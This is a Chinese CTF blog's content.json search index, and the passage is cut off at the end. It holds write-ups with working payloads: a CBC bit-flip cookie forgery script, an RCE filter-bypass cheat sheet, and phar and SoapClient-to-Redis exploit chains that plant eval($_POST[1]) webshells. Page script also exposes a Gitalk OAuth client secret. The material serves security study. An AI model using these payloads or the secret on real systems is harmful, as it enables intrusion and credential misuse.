-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 409 KB
/
content.json
1
{"pages":[{"title":"","text":"🚩 A CTFer 💖 ACGN 🖥️ Web 2.0 & Web .03 🪗 Smart Contract My Skill Set Frontend Backend DevOps Connect with me About My Username这不得不得提起我的高中生活了。高一军训的时候,教官叫我小胖,于是我同学就开始叫我阿胖。我的高中英语老师普通话不标准,掺杂着一股浓烈的方言味道,甚至英文单词都有一股浓烈的“地方特色”,有一天,他读课文,兴致正浓,刚好读到了一句话,恰巧这句话里又有一个upon,而这个upon他又专门停顿一下,重(zhong)读。当时,一股雄厚无比而又夹杂着方言味道的声浪袭来,之后我同学都管我叫upon了。 至于后面的数字,俺比较懒,哪年注册的后面就写的哪年,当然也有特例,就是2016,这个代表的不是2016年,而是指比特币每2016个区块会变更一次挖矿难度,在一些与区块链有关的社区,我注册的id大多是UPON-2016","link":"/about/index.html"},{"title":"","text":"你似乎来到了世界的尽头","link":"/album/index.html"},{"title":"","text":"友情链接还在添加中qwq 加载中,稍等几秒...","link":"/friend/index.html"},{"title":"","text":"来而不往非礼也畅所欲言,有留必应","link":"/message/index.html"},{"title":"音乐歌单收藏","text":"温馨提示:选择喜欢的音乐双击播放,由于版权原因部分不能播放。如果喜欢歌单收藏一下,去网易云都能播放哟!","link":"/music/index.html"},{"title":"","text":" 听听音乐 音乐播放器由mePlayer提供,布局参照网友博客所作,感谢作者的辛勤付出。更多音乐分享请查看歌单。 看看视频 ->点击以下条目开始播放视频,向下滑动查看更多","link":"/media/index.html"},{"title":"","text":"碎碎念 tips:github登录后按时间正序查看、可点赞加❤️、本插件地址..「+99次查看」 碎碎念加载中,请稍等... $.getScript(\"/js/gitalk_self.min.js\", function () { var gitalk = new Gitalk({ clientID: '46a9f3481b46ea0129d8', clientSecret: '79c7c9cb847e141757d7864453bcbf89f0655b24', id: '666666', repo: 'issue_database', owner: 'removeif', admin: \"removeif\", createIssueManually: true, distractionFreeMode: false }); gitalk.render('comment-container1'); });","link":"/self-talking/index.html"}],"posts":[{"title":"Round 6复现","text":"Web check(V1)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566# -*- coding: utf-8 -*-from flask import Flask,requestimport tarfileimport osapp = Flask(__name__)app.config['UPLOAD_FOLDER'] = './uploads'app.config['MAX_CONTENT_LENGTH'] = 100 * 1024ALLOWED_EXTENSIONS = set(['tar'])def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/')def index(): with open(__file__, 'r') as f: return f.read()@app.route('/upload', methods=['POST'])def upload_file(): if 'file' not in request.files: return '?' file = request.files['file'] if file.filename == '': return '?' print(file.filename) if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename: file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a tarfile' try: tar = tarfile.open(file_save_path, "r") tar.extractall(app.config['UPLOAD_FOLDER']) except Exception as e: return str(e) os.remove(file_save_path) return 'success'@app.route('/download', methods=['POST'])def download_file(): filename = request.form.get('filename') if filename is None or filename == '': return '?' filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) if '..' in filename or '/' in filename: return '?' if not os.path.exists(filepath) or not os.path.isfile(filepath): return '?' with open(filepath, 'r') as f: return f.read() @app.route('/clean', methods=['POST'])def clean_file(): os.system('/tmp/clean.sh') return 'success'if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=80) 管他那么多,先整一个上传页面 1234<form id="upload-form" action="http://1.14.71.254:28597/upload" method="post" enctype="multipart/form-data" > <input type="file" id="upload" name="upload" /> <br /> <input type="submit" value="Upload" /></form>","link":"/2022/10/18/Round6/"},{"title":"CBC反转攻击详解","text":"0x00 源码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Login Form</title><link href="static/css/style.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="static/js/jquery.min.js"></script><script type="text/javascript">$(document).ready(function() { $(".username").focus(function() { $(".user-icon").css("left","-48px"); }); $(".username").blur(function() { $(".user-icon").css("left","0px"); }); $(".password").focus(function() { $(".pass-icon").css("left","-48px"); }); $(".password").blur(function() { $(".pass-icon").css("left","0px"); });});</script></head><?phpdefine("SECRET_KEY", '9999999999999999');define("METHOD", "aes-128-cbc");session_start();function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv;}function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); $_SESSION['username'] = $info['username']; setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher));}function check_login(){ if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $_SESSION['username'] = $info['username']; }else{ die("ERROR!"); } }}function show_homepage(){ if ($_SESSION["username"]==='admin'){ echo '<p>Hello admin</p>'; echo '<p>Flag is ctf{123cbcchange}</p>'; }else{ echo '<p>hello '.$_SESSION['username'].'</p>'; echo '<p>Only admin can see flag</p>'; } echo '<p><a href="loginout.php">Log out</a></p>';}if(isset($_POST['username']) && isset($_POST['password'])){ $username = (string)$_POST['username']; $password = (string)$_POST['password']; if($username === 'admin'){ exit('<p>admin are not allowed to login</p>'); }else{ $info = array('username'=>$username,'password'=>$password); login($info); show_homepage(); }}else{ if(isset($_SESSION["username"])){ check_login(); show_homepage(); }else{ echo '<body class="login-body"> <div id="wrapper"> <div class="user-icon"></div> <div class="pass-icon"></div> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>Fill out the form below to login to my super awesome imaginary control panel.</span> </div> <div class="content"> <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\\'\\'" /> <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\\'\\'" /> </div> <div class="footer"> <input type="submit" name="submit" value="Login" class="button" /> </div> </form> </div> </body>'; }}?></html> 0x01 AES-CBC 加密、解密过程加密过程 Plaintext:明文数据 IV:初始向量 Key:分组加密使用的密钥 Ciphertext:密文数据 明文都是先与混淆数据(第一组是与IV,之后都是与前一组的密文)进行异或,再执行分组加密的。 123456781、首先将明文分组(常见的以16字节为一组),位数不足的使用特殊字符填充。2、生成一个随机的初始化向量(IV)和一个密钥。3、将IV和第一组明文异或。4、用密钥对3中xor后产生的密文加密。5、用4中产生的密文对第二组明文进行xor操作。6、用密钥对5中产生的密文加密。7、重复4-7,到最后一组明文。8、将IV和加密后的密文拼接在一起,得到最终的密文。 解密过程:每组解密时,先进行分组加密算法的解密,然后与前一组的密文进行异或才是最初的明文。 对于第一组则是与IV进行异或。 12341、从密文中提取出IV,然后将密文分组。2、使用密钥对第一组的密文解密,然后和IV进行xor得到明文。3、使用密钥对第二组密文解密,然后和2中的密文xor得到明文。4、重复2-3,直到最后一组密文。 0x02 攻击异或的特性:异或是不进位加法 1231⊕1=0 //这里1+1=10 进位了,不需要管他1⊕0=10⊕1=1 连续异或两次同一个内容,就相当于没有异或 比如:1100110 ⊕1010100⊕1010100 = 1100110 而异或还有交换律,可以随意打乱顺序 1010100 ⊕ 1100110 ⊕1010100 = 1100110 1.对于解密时:设明文为X,密文为Y,解密函数为k。 X[i] = k(Y[i]) Xor Y[i-1] 2.字节翻转要改变Cipher1[0]的值为x 则 'a' ^ x = decrypt(cipher2[0]) 而又因为:Plain2[0] ^ Cipher1[0]=decrypt(cipher2[0]) 把decrypt(cipher2[0]) 代入第一个式子得 'a' ^ x = Plain2[0] ^ Cipher1[0] 解得x= Plain2[0] ^ Cipher1[0] ^ 'a' x是我们要赋值的,也就是Cipher1[0] ,所以最后写出的语句为: Cipher1[0]=Plain2[0] ^ Cipher1[0] ^ 'a' Plain2[0]是原明文组2的第一个字节(已知),Cipher1[0]是第一组密文的第一个字节(已知) 此时再把Cipher1和Cipher2连接起来生成Ciphertext,把C,就会成功变成我们想要的明文。 3.修复IV:当我们破坏掉密文的第一组时,同样明文的第一组在解密的时候就并不是原来的明文了,这个时候我们需要修复初始向量IV,给它一个新的值, 使NewIv ^ NewCipher1 = Plain1(原) 推导过程: Plain1(损坏) ^ iv = decrypt(newCipher1) Newiv=Plain1(原) ^ decrypt(newCipher1) (目的是要给Newiv赋值) 把第一个式子代入到第二个式子中得到:(此时Plain(原) 已知,Plain1(损坏)已知) Newiv=Plain1(原) ^ Plain1(损坏) ^ iv 有了Newiv和翻转好的Ciphertext,这时网站后端解密后的明文就是我们构造好的明文了。 0x03 例题 只有admin才能看flag,而登陆的时候过滤了admin。后端检测的时候使用的是cookie里面的cipher以及iv解密后得到的字符进行反序列化 原文:a:2:{s:8:"username";s:5:"admix";s:8:"password";s:5:"admix";} cipher:540LbV57RP5K18c1jJeAOk7HOjcMLHthWSvcLRPMmOTUdyvcS8NkZsx%2BjR7cIgNOqIURlke333VwZ8Tv0Ajpkg== iv:Ne%2BoeXNBcE%2BuI%2BCrlXqjqw%3D%3D 这里cookie可控。 明文加密时分组为: 1234a:2:{s:8:"username";s:5:"admix";s:8:"password";s:2:"123";} 这里只需要把admix的x反转成n就行了 12345678910111213141516171819202122232425262728293031323334#-*- coding:utf8 -*-import base64import urllib.parse# a:2:{s:8:"userna# me";s:5:"admiN";# s:8:"password";s# :6:"123";} #原始cipherciphertext = 'w1uvgfzxxuYHA%2Bo08ZL%2BCefhwr2jHuwglOIBAh8cP1w5TCiCmY0Yy%2BQxelAl9%2B%2FiZeRvLD7UjzlF58bTGFZ%2BWQ%3D%3D'cipher = base64.b64decode(urllib.parse.unquote(ciphertext))array_cipher = bytearray(cipher)array_cipher[13] = array_cipher[13]^ ord('N') ^ ord('n')#print(array_cipher)print('newCipher:',urllib.parse.quote(base64.b64encode(array_cipher)))#解密后的明文base64decode_plain = base64.b64decode('sxvY7wUlyPgC+/iV7InfjG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ==')#原始iviv = base64.b64decode(urllib.parse.unquote('1HxERxo2%2FTuymbrPoVDB%2Bw%3D%3D'))#原始明文plain = 'a:2:{s:8:"userna'newiv = list(iv)for i in range(16): newiv[i] = (ord(plain[i].encode('utf-8')) ^ iv[i] ^ decode_plain[i])newiv = bytes(newiv)print('newiv:',urllib.parse.quote(base64.b64encode(newiv))) 小饼干一换就行了。 0x04 RefenceCBC字节翻转攻击解析 [CTF]AES-CBC字节翻转攻击","link":"/2022/11/21/cbc/"},{"title":"命令执行备忘录","text":"0x00 什么是RCERCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 0x01 常见命令执行函数12PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()... 12PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()... 0x02 Bypass1.关键词拦截: 关键词替换为空的情况: 双写绕过,比如cacatt -> cat 仅拦截关键字: 使用其他函数,比如拦截cat的时候,可以使用其他命令。 Input Ouput static-sh ./flag.txt ./flag.txt: line 1: flag{this_is_a_test}: not found paste ./flag.txt /etc/passwd flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash… diff diff ./flag.txt /etc/passwd curl file:///home/coffee/flag flag{this_is_a_test} … … 通配符绕过,比如可以使用/b??/c?t f*。该方法有时候会因为输出过多或者运行时间超出限制被强行中断 插入"" <> '' \\绕过,比如ca''t flag.txt或者ca\\t flag.txt 内联执行,将反引号内命令的输出作为输入执行,如: cat `ls`,或者是cat ${ls} 使用变量替换,如$c=a;cat fl$cg.php 拦截空格,空格可以用以下字符串代替: < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,比如: 123456cat%09flag{cat,flag.txt}cat${IFS}flag.txtcat$IFS$9flag.txtcat<flag.txt cat<>flag.txt .操作符 eval函数中用.把被拦截的关键字给分开,比如 12<?php eval(include "/www/lo"."g/nginx/access.log"); 逃逸,绕过太难了,直接润出来比如 12c=include$_GET[1]?> c=eval($_GET[1]) 借壳生蛋 12345678<?php $env = $_GET['env']; if(isset($env)){ putenv($env); system("whoami"); }else{ highlight_file(__FILE__); } ?env=BASH_FUNC_whoami%%=() { ls; }whoami是system(“whoami”)启动的bash环境的函数,相当于我们注册了一个whoami替换它 构造 在PHP7中,可以这样调用函数: 123('phpinfo')();$a = "phpinfo";$$a;... 然后就可以使用异或^,取反~,自增++,自减--等方法构造想要的字符然后进行动态函数调用。 构造字符的时候,可以利用一些PHP的特性: PHP中的NAN和INF: 123456NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。$_=C/C;//NAN$_=1/C//INF 2.无回显 利用sleep()之类的函数来根据服务器响应的时间一个一个字符获获取注:该方法局限性很大,且容易受到网络波动影响,不建议优先考虑使用 利用dns外带http://dnslog.cn/注:该方法也有一定的局限性,有长度限制而且不支持特殊字符 利用重定向,将输出重定向到可访问网页中 反弹shell如果题目不出网只能寄 命令注入,尝试在命令后面加上||、%0a、%0d、|、;、&等符号将原先重定向到/dev/null的命令分割开 3.include 伪协议 日志包含UA写马,包含access.log allow_url_include=ture可以使用的data123456789101112131415data类型扩展: data类型扩展 data:,<文本数据> data:text/plain,<文本数据> data:text/html,<HTML代码> data:text/html;base64,<base64编码的HTML代码> data:text/css,<CSS代码> data:text/css;base64,<base64编码的CSS代码> data:text/javascript,<Javascript代码> data:text/javascript;base64,<base64编码的Javascript代码> data:image/gif;base64,base64编码的gif图片数据 data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64,base64编码的icon图片数据 Tips: PHP具有极强的鲁棒性特别耐操,尤其是伪协议这块。1234567原payload:php://filter/convert.base64-encode/resource=index.php我可以插♂ 入一些奇怪的东西php://filter/convert.base64-encode/114514/resource=index.php我可以大大小小php://FiLTer/convert.base64-encode/resource=index.php 4.无参命令执行这种就基本没活能整了,已经十分固定下来了 123456<?phphighlight_file(__FILE__);if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $_GET['code'])) { eval($_GET['code']);}?> '/[^\\W]+\\((?R)?\\)/'的解释 这里使用pregreplace替换匹配到的字符为空,\\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有; 以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。 一些有用的东西 12345678910111213141516171819202122目录操作:getchwd() :函数返回当前工作目录。scandir() :函数返回指定目录中的文件和目录的数组。dirname() :函数返回路径中的目录部分。chdir() :函数改变当前的目录。数组相关的操作:end() - 将内部指针指向数组中的最后一个元素,并输出。next() - 将内部指针指向数组中的下一个元素,并输出。prev() - 将内部指针指向数组中的上一个元素,并输出。reset() - 将内部指针指向数组中的第一个元素,并输出。each() - 返回当前元素的键名和键值,并将内部指针向前移动。array_shift() - 删除数组中第一个元素,并返回被删除元素的值。读文件show_source() - 对文件进行语法高亮显示。readfile() - 输出一个文件。highlight_file() - 对文件进行语法高亮显示。file_get_contents() - 把整个文件读入一个字符串中。readgzfile() - 可用于读取非 gzip 格式的文件 PAYLOAD 请求头 123GET /1.php?code=eval(end(getallheaders())); HTTP/1.1.....flag: system('id'); get_defined_vars() 1?code=eval(end(current(get_defined_vars())));&flag=system('ls'); 利用全局变量进RCE get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET,_POST, _COOKIE, _FILES全局变量的值,返回数组顺序为get->post->cookie->filescurrent:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值 3.session_start() session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id() session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。文件读取 show_source(session_id(session_start())); var_dump(file_get_contents(session_id(session_start()))) highlight_file(session_id(session_start())); readfile(session_id(session_start()));抓包传入Cookie: PHPSESSID=(想读的文件)即可","link":"/2022/10/03/RCE/"},{"title":"DasCTF 十月月赛复现","text":"寄寄寄!四道题,三道我不擅长的反序列化,寄,当时还要考试复习,结果没太多时间做,麻了都。 EasyPop这题链子好找,也很快就找到了,但问题就在于最后一步如何绕过__wakeup,麻了,我就卡在这里了…….PHP序列化冷知识 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103<?phphighlight_file(__FILE__);error_reporting(0);class fine{private $cmd;private $content;public function __construct($cmd, $content){$this->cmd = $cmd;$this->content = $content;}public function __invoke(){call_user_func($this->cmd, $this->content);}public function __wakeup(){$this->cmd = "";die("Go listen to Jay Chou's secret-code! Really nice");}}class show{public $ctf;public $time = "Two and a half years";public function __construct($ctf){$this->ctf = $ctf;}public function __toString(){return $this->ctf->show();}public function show(): string{return $this->ctf . ": Duration of practice: " . $this->time;}}class sorry{private $name;private $password;public $hint = "hint is depend on you";public $key;public function __construct($name, $password){$this->name = $name;$this->password = $password;}public function __sleep(){$this->hint = new secret_code();}public function __get($name){$name = $this->key;$name();}public function __destruct(){if ($this->password == $this->name) {echo $this->hint;} else if ($this->name = "jay") {secret_code::secret();} else {echo "This is our code";}}public function getPassword(){return $this->password;}public function setPassword($password): void{$this->password = $password;}}class secret_code{protected $code;public static function secret(){include_once "hint.php";hint();}public function __call($name, $arguments){$num = $name;$this->$num();}private function show(){return $this->code->secret;}}if (isset($_GET['pop'])) {$a = unserialize($_GET['pop']);$a->setPassword(md5(mt_rand()));} else {$a = new show("Ctfer");echo $a->show();} hade_waibo进来一看,cancan need任意文件读取,把文件全扒下来,核心实在class.php里面,肯定是phar反序列化。乍一看,又要绕wakeup,不过这一次有引用赋值,可以绕,当时没时间了 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475<?phpclass User{ public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } }}class File{ #更新黑名单为白名单,更加的安全 public $white = array("jpg","png"); public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\\'file.php?m=show&filename=\\'+document.getElementById(\\'filename\\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; }}#更新了一个恶意又有趣的Test类class Test{ public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); }} 官方exp 123456789101112131415161718192021222324class User{public $username;}class Test{public $value;}$User = new User();$Test = new Test();$User->a = $Test;$User->username = &$Test->value;echo serialize($User);#第二步,需要把name改成* /*// $Test->a = $User;// $User->username = $Test;// echo serialize($Test);#第一步,需要把名字改成数组$phar = new \\Phar("h3ne1.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$phar-> addFromString('test.txt','h3en1');//$phar->setMetadata($Test);第一步$phar->setMetadata($User);$phar->stopBuffering(); 因为给实验室的新生配web靶机的docker环境,当时就顺手看看有没有start.sh或者flag.sh文件,然后就还真找到了 事实证明,docker运行之后,要删除的不只有环境变量,还有运行的sh脚本,谨防露牛子 start.sh 1234567#!/bin/shecho $FLAG > /ghjsdk_F149_H3re_asdasfcexport FLAG=no_flagFLAG=no_flagapache2-foregroundrm -rf /flag.shtail -f /dev/null 直接露牛子了吧 EasyLove当时急着复习,这题我没看了….寄 123456789101112131415161718192021222324252627282930313233343536 <?phphighlight_file(__FILE__);error_reporting(0);class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng,$love){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; $this->love = $love; } public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); } public function flag(){ $this->love->getflag(); } public function __destruct(){ $this->newnewnew(); $this->flag(); }}class hint{ public $hint; public function __destruct(){ echo file_get_contents($this-> hint.'hint.php'); }}$hello = $_GET['hello'];$world = unserialize($hello); 这回链子很短,先看hint 1234567<?phpclass hint{public $hint="php://filter/read=convert.base64-encode/resource=";}$a = new hint();echo serialize($a);?> 获得账号密码 123<?php$hint = "My favorite database is Redis and My favorite day is 20220311";? 很明显,利用SoapClient进行ssrf然后打redis 寄,还是不会这里也看一下怎么打redis 这里比较有趣的是,当我们利用ssrf向redis发起http请求时,低版本的Redis会将请求头的内容作为redis命令解析,那么只要我们通过CRLF控制住请求头,再配合SoapClient发起请求即可,故exp如下: 12345678910111213141516171819202122<?php$target='http://127.0.0.1:6379/';$poc0="AUTH 20220311";$poc="CONFIG SET dir /var/www/html";$poc1="SET x '<?@eval(\\$_POST[1]);?>'";$poc2="CONFIG SET dbfilename cmd.php";$poc3="SAVE";$a = array('location' => $target,'uri' =>'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');$aaa = serialize($a);$aaa = str_replace('^^',"\\r\\n",$aaa);$c=unserialize($aaa);class swpu{public $wllm = 'SoapClient';public $arsenetang = null;public $l61q4cheng;public $love;}$a=new swpu();$a->l61q4cheng=$c;echo urlencode(serialize($a));?> 确实要学学Redis咋用了,这都看不懂 BlogSystem这是个好题,我慢慢品一品再来做,太多涉及到我知识盲区的东西了","link":"/2022/10/28/das10%E5%A4%8D%E7%8E%B0/"},{"title":"美团CTF决赛复现 mako","text":"太菜了,被大佬带进决赛了,最后就签个到 环境密码:1skr 下面部分是我在比赛的时候思考过的 1.开始页面一进来,十分的清爽,毛都没有,就一个上传文件的东西 随便传点东西,发现是来者不拒,啥都能传,但啥都干不了访问1.php只会出现404not found这是最令人异或的一点 因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里可以看见,文件并没有被上传到/var/www/html/这个目录下面 而文件被上传到了/var/www/html/mako/uploads这个目录下 可以肯定的是,文件上传是整不了活了 2.审计通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码 很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。 这就很令人苦恼,我当时尝试了一下,使用软链接 直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序 目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发 做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。 我经验太少了,当时没想到用phar 3.复现在mako/app/controllers/ImagesController.php文件中 123456789public function editGet(ViewFactory $view): string { chdir('/var/www/mako/uploads'); $fileName = $this->request->getQuery()->get('filename'); $image = new Image($fileName, new ImageMagick()); $dimensions = $image->getDimensions(); $this->view->assign('fileName', $fileName); $this->view->assign('dimensions', $dimensions); return $view->render('edit');} 可以看到,文件名是不做任何过滤的 而在mako/vendo/mako/framework/src/mako/pixl/image.php中 1234567891011121314151617public function __construct($image, ProcessorInterface $processor){ $this->image = $image; $this->processor = $processor; // Make sure that the image exists if(file_exists($this->image) === false) { throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image])); } // Set the image $this->processor->open($image);} 使用了能触发phar反序列化的file_exists函数 关键函数找到了,现在找链子吧 搜索__destruct(),干扰项不多,可以直接开撸 好家伙,我直接好家伙,一条龙服务了属于是qwq 4.攻击这里搬一手Arr3stY0u战队的poc吧 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051<?phpnamespace mako\\file{class FileSystem{}}namespace mako\\session\\stores{ use mako\\file\\FileSystem;class File{ protected $fileSystem; protected $sessionPath; public function __construct(){ $this->fileSystem = new FileSystem(); $this->sessionPath = '/var/www/mako/public/'; }}}namespace mako\\session{use mako\\session\\stores\\File;class Session{ protected $autoCommit; protected $destroyed = false; protected $sessionId; protected $sessionData = []; protected $store; public function __construct(){ $this->autoCommit = true; $this->destroyed = false; $this->store = new File(); $this->sessionId = 'shell.php'; $this->sessionData = ['a'=>'<?php eval($_POST[1]);?>']; }}}namespace { $exp = new mako\\session\\Session(); $phar = new Phar('test.phar',0,'test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($exp); $phar->addFromString('text.txt','test'); $phar->stopBuffering();}; 上传文件getshellflag is here 5.总结反思经验不足,做题不够,欠练","link":"/2022/09/30/mt-ctf/"},{"title":"SQL注入学习寄录","text":"0x01 SQLSQL 是一种标准SQL 是一门 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言,但是仍然存在着多种不同版本的 SQL 语言。 库&表一个数据库通常包括一个或多个表。每个表都有一个名字标识,表包含带有数据的记录。 SQL 基础语法最简单的查询SELECT * FROM 表名 这个语句会把当前表下所有的数据全都列出来,在数据量比较小的时候会很好用,但当数据量特别大的时候就容易被一堆数据淹没,不知所措。 这时候可以添加限制,指定我要哪一列的数据 SELECT 列名 FROM 表名 数据还是很多,可以添加WHERE来进行进一步限制 SELECT 列名 FROM 表名 WHERE 条件 如果需要将数据排序的话,可以用ORDER BY SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名 有时候,咱只想返回前几条数据,就可以加入LIMIT SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名 LIMIT 数字 SQL操作符WHERE 列名 LIKE 通配符 按照通配符匹配 通配符 描述 % 替代0个或多个字符 _ 替代1个字符 [charlist] 字符列中的任何单一字符 [^charlist] 或 [!charlist] 不在字符列中的任何单一字符 WHERE 列名 IN (‘值1’,’值2’) WHERE 列名 BETWEEN 值1 AND 值2; 联合查询SELECT 列名1,列名2… FROM table1 UNION SELECT 列名1,列名2… FROM table2; 注意:联合查询要求前后字段数相同,否则将会报错. 特殊的数据库information_schema摘自这里 在数据库里,有这样一个数据库information_schema,数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。 表名 功能 SCHEMATA 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。 TABLES 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。 COLUMNS 供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。 STATISTICS 提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。 USER_PRIVILEGES 给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。 SCHEMA_PRIVILEGES 给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。 TABLE_PRIVILEGES(表权限) 给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。 COLUMN_PRIVILEGES(列权限) 给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。 CHARACTER_SETS(字符集) 提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。 … … 在注入的过程中,我们常用的是information_schema.tables下面的table_name以及table_schema表名及其所在的数据库名字。使用information_schema.columns下的column_name获取列名 select 的其他用法12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667mysql> select 1;+---+| 1 |+---+| 1 |+---+1 row in set (0.00 sec)mysql> select 1,2,3;+---+---+---+| 1 | 2 | 3 |+---+---+---+| 1 | 2 | 3 |+---+---+---+1 row in set (0.00 sec)mysql> select (1>2);+-------+| (1>2) |+-------+| 0 |+-------+1 row in set (0.00 sec)mysql> select (1<2);+-------+| (1<2) |+-------+| 1 |+-------+1 row in set (0.00 sec)mysql> select "aaaa";+------+| aaaa |+------+| aaaa |+------+1 row in set (0.00 sec)mysql> select (1<2) from users;+-------+| (1<2) |+-------+| 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 || 1 |+-------+13 rows in set (0.00 sec)mysql> select 